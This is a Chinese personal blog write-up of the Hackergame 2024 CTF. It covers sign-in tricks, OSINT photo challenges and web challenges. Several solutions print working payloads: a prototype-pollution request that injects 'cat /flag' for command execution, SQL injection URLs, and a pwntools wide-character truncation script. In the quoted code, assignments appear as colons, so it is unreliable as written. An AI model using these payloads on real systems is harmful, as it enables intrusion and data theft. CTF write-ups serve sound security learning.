Header image of {data.title}

最后一刻才想起来的冲刺:Hackergame 2024 游记 | aka 我可以在没环境的地方通关 Hackergame 2024 吗?

瞎折腾 / 网安(雾 / 网络相关 无分类

前景提要:Imken 有一天下午在机房使用装有 4GB RAM 的定制 Windows 10 LTSC 机器搜算法题的时候因为关键词打错了(?)搜到了 Hackergame 2024,然后这位半睡半醒的小朋友直接惊醒,便看到了诸如「距离比赛结束还有 0 天 19 小时 48 分 23 秒」等等的字样。虽然早已计划好,但这仍是这位小朋友在第一次参加这样的比赛(算是吧)。

1950 pts | #304 / 2460

签到

放置到超时,然后注意到 param 里有 pass=false,然后改成 true 就行了。

Another Solution: 可以开 F12 然后拿鼠标把目标文本拖进去。

啊?原来还有音乐的吗(

flag{We1C0ME-To-haCkerg@me-@Nd-EnJoY-hACk!n9-ZoZ4}

打不开的盒

把模型文件传进去。

https://imagetostl.com/cn/view-stl-online#convert

然后穿模直接看就行啦!

flag{Dr4W_Us!nG_fR3E_C4D!!w0W}

每日论文太多了!

还在 go 还在 go 还在 go 还在 go 还在 go 还在 go

直接搜 flag(或者全选之后粘贴出来)然后可以搜到一个 flag here,但是我没有 pdf 编辑器。

把论文下下来然后找一个在线网站把图片提取出来,然后就 ok 了。

flag{h4PpY_hAck1ng_3veRyd4y}

比大小王

观察一下源代码,研究一下发现 submit 函数和 chooseAnswer 可以发现请求格式,即 [">", "<"] 什么的。

时间到了开始后打开控制台直接执行就可以了:

submit(state.values.map((x):> (x[0] > x[1] ? '>' : '<')));

难绷的是我本地时钟不对浪费 ~10 min。

flag{1-@m-th3-HaCK3r-K1nG-Of-c0mParinG-nUmbERs-zoZ4}

Node.js is Web Scale

观察这东西的源代码:

// POST /set - Set a key-value pair in the store
app.post('/set', (req, res):> {
	const { key, value }: req.body;

	const keys: key.split('.');
	let current: store;

	for (let i: 0; i < keys.length - 1; i++) {
		const key: keys[i];
		if (!current[key]) {
			current[key]: {};
		}
		current: current[key];
	}

	// Set the value at the last key
	current[keys[keys.length - 1]]: value;

	res.json({ message: 'OK' });
});
// ...省略
app.get('/execute', (req, res):> {
	const key: req.query.cmd;
	const cmd: cmds[key];
	res.setHeader('content-type', 'text/plain');
	res.send(execSync(cmd).toString());
});

一眼丁真(current: current[key];),鉴定为原型链污染。

可以通过给 __proto__ 赋值上一个属性然后让 cmd 对象也有这个属性,然后通过访问 /execute 就可以获取 flag 了。

SET {key: "__proto__.qwq", value: "cat /flag"}

然后访问 /execute?cmd=qwq 就可以了。

flag{n0_pr0topOIl_50_U5E_new_Map_1n5teAD_Of_0bject2kv_caeee19838}

喜欢做签到的 CTFer 你们好呀

Checkin Again & Again

进入 https://www.nebuu.la/

这个 shell 好好玩wwww

先 help,看到有个 ls,然后 ls -a,看到有个 flag。然后 cat .flag 即可。

flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}

Checkin Again

大家可以试着输入一下 sudo 用来提权。

发奶龙的小朋友,我真的是给你跪下了,你动不动发这个,我真是吃不消了没有办法了。我失败了,你和奶龙胜利了,我拜托你别发了,我是窝囊废,我以后每天玩微博当奶龙粉丝,每天晚上不睡觉就在那想奶龙好不好,恳求你别发奶龙了

在网站上那个 shell 搞了好久才发现有 env 这个指令。

flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}

惜字如金 3.0 / 题目 A

人工补全即可。然后注意这东西补全到 80 个空格就好啦。

flag{C0mpl3ted-Th3-Pyth0n-C0de-N0w}

PaoluGPT

窥视未知

main.py:

results: execute_query(f"select title, contents from messages where id: '{conversation_id}'")

查看源代码可以看见有一处 SQL 注入点。访问 /view?conversation_id=' or contents like '%flag% 即可获取 flag。

flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_b1c9a2df08}

千里挑一

因为不止一个 flag,所以给数据库查询加一个 offset。访问 /view?conversation_id=' or contents like '%flag%' limit 1 offset 1 -- 就可以拿到了。

flag{zU1_xiA0_de_11m_Pa0lule!!!_a1c96fba7b}

旅行照片 4.0

LEO_CHAN?

图片 1

看到图片上有「科里科气」等字样,搜索后发现

https://mthepapercn/baijiahao_25897251

地理位置:金寨路与槽郢路交口,科大东区西门口立基大厦一期负一层

那么显然就是东校区西门了。

ans: 东校区西门

图片 2

检索相关关键词可发现一个账号。翻一下视频,发现「【中国科大2024ACG音乐会单品】深海少女」(https://www.bilibili.com/video/BV1zD42137Nm/)。

简介:

《深海少女》

2024年5月19日 中国科大 第三届 ACG音乐会

演出:校学生Leo动漫协会 轻音部 结束乐队 术力口分队

ans: 20240519

flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_d9f12dd162}

FULL_RECALL

这是什么神秘小标题


  • ans1: 中央公园
  • ans2: 坛子岭

flag{D3T41LS_M4TT3R_1F_R3V3RS3_S34RCH_1S_1MP0SS1BL3_17fc847b99}

OMINOUS_BELL

官方 writeup 说这四节编组城际列车是一个线索。作为一个资浅铁路迷我直接根据我的知识框架里搜寻结果发现最常用的城际车型咱不知道 TT

成局旅客只见过 CRH6A-A(成灌/彭线)和 CRH3A-A(贵阳环线)是咱成局旅客不配了(x


从图片观察可以知道这是一个动车所。

看到图片左下角的动车涂装不太寻常于是截下来搜图,发现是北京附近跑城际的怀密号,车型 CRH6F-A

于是遍历北京的各个动车所的卫星图像。最后确认是北京北动车所。结合地图可以推测是 积水潭医院。

零知识数独 / 数独高手

我不会数独,但是有 solver https://sudokuspoiler.com/sudoku/sudoku9

flag{SUD0KU_M45T3R_You_Have_Shown_Y0ur_Know1edge_ac5207a9}

不宽的宽字符

没看 Dockerfile 导致卡了一会儿。

这个时候机房的 Windows 10 Enterprise LTSC with 4GM RAM 就派上用场了(

发现 wchar 的字符编码出来的 ASCII 转换类型后长这样:

chars a\0 b\0 c\0 ...
index  0   1   2

因此可以考虑把剩下的 \0 填充上。于是构造出下面的字符串:

\u3a5a\u745c\u6568\u6c66\u6761

但是这样字符串末尾会多出来一个 0x79。因为这是 Windows,所以可以在这个后面多加一个空格就可以通过 \0 截断了。

from pwn import *
r: remote(IP, 14202)
r.recvline()
r.sendline(b'token')
r.send('\u3a5a\u745c\u6568\u6c66\u6761 '.encode("utf-8"))
r.interactive()

Output:

The flag is: flag{wider_char_isnt_so_great_232a51ce99}. Congratulations!

猫咪问答(Hackergame 十周年纪念版)

  1. https://lug.ustc.edu.cn/wiki/sec/contest.html: 3A204
  2. https://news.ustclug.org/2019/12/hackergame-2019/: 2682
  3. 这真搜不到了(原来在往年比赛的 wp 里吗)
  4. https://www.usenix.org/system/files/usenixsecurity24-ma-jinrui.pdf: 眼瞎导致没看见 resulting in 336 combinations (including 16 web interfaces of target providers).
  5. 6e90b6
  6. 太急了没能找到 Tokenizer

下面是已放弃的题目。


「放弃」Docker for Everyone Plus / No Enough Privilege

需要自己构建 docker 镜像。机房没有 Linux 机器也没有 Linux VM,被迫放弃。

「放弃」无法获得的秘密

想到了 QRs 项目。但是出于某些原因拿不到手机导致没有摄像头,故没能把文件传出来。

顺带支持一下 https://github.com/qifi-dev/qrs/issues/14

「放弃」很长的标题 (1)

为什么我的 LLM 就没法爆破出正解而且还触发了速率限制

「??」强大的正则表达式 / Easy

这个纯属大脑宕机。当时已经想到了最后四位整除 16 但是枚举范围好像只开到了 1000?

「不是题目」总结

其他信息:有一道题目要求传输数据,当时想到了 qrs 项目结果拿不到手机没有摄像头被迫放弃。

时间解出题目分数变化排名变化
2024-11-08 16:16:20签到0 → 502388 → 2388
2024-11-08 16:25:47打不开的盒50 → 1502388 → 1701
2024-11-08 16:36:54每日论文太多了!150 → 2501701 → 1379
2024-11-08 16:52:04比大小王250 → 4001379 → 1118
2024-11-08 17:28:30Node.js is Web Scale400 → 6001119 → 900
2024-11-08 18:12:41喜欢做签到的 CTFer 你们好呀 / Checkin Again & Again600 → 650901 → 857
2024-11-08 18:27:42惜字如金 3.0 / 题目 A650 → 800857 → 729
2024-11-08 19:15:41PaoluGPT / 窥视未知800 → 1000729 → 625
2024-11-08 19:20:46PaoluGPT / 千里挑一1000 → 1150625 → 534
2024-11-08 20:12:37喜欢做签到的 CTFer 你们好呀 / Checkin Again1150 → 1200537 → 510
2024-11-08 21:04:03旅行照片 4.0 / LEO_CHAN?1200 → 1300514 → 477
2024-11-08 21:18:10旅行照片 4.0 / FULL_RECALL1300 → 1450477 → 411
2024-11-08 23:33:14旅行照片 4.0 / OMINOUS_BELL1450 → 1600413 → 384
2024-11-09 07:39:21零知识数独 / 数独高手1600 → 1700391 → 365
2024-11-09 08:53:24不宽的宽字符1700 → 1850366 → 321
2024-11-09 09:28:41猫咪问答(Hackergame 十周年纪念版) / 喵?1850 → 1950322 → 299
Copyright (C) Imken Luo
This post is licensed under CC-BY-NC-SA 4.0.